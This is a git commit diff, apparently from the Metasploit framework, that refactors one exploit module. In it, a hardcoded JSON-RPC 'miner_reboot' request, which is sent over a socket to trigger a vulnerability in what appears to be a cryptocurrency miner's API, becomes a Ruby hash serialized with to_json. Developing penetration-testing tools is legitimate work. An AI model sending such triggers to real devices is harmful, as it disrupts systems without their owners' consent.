refactor: replace last string with hash

GSoC/Meterpreter_Web_Console
phra 2018-06-01 16:59:38 +02:00
parent ae3e8dab78
commit e9db949418
No known key found for this signature in database
GPG Key ID: 91FF93D1B85D76B5
1 changed files with 5 additions and 1 deletions

View File

@ -96,7 +96,11 @@ class MetasploitModule < Msf::Exploit::Remote
end
def trigger_vulnerability
execute = '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}'
execute = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_reboot'
}.to_json
connect
sock.put(execute)
buf = sock.get_once || ''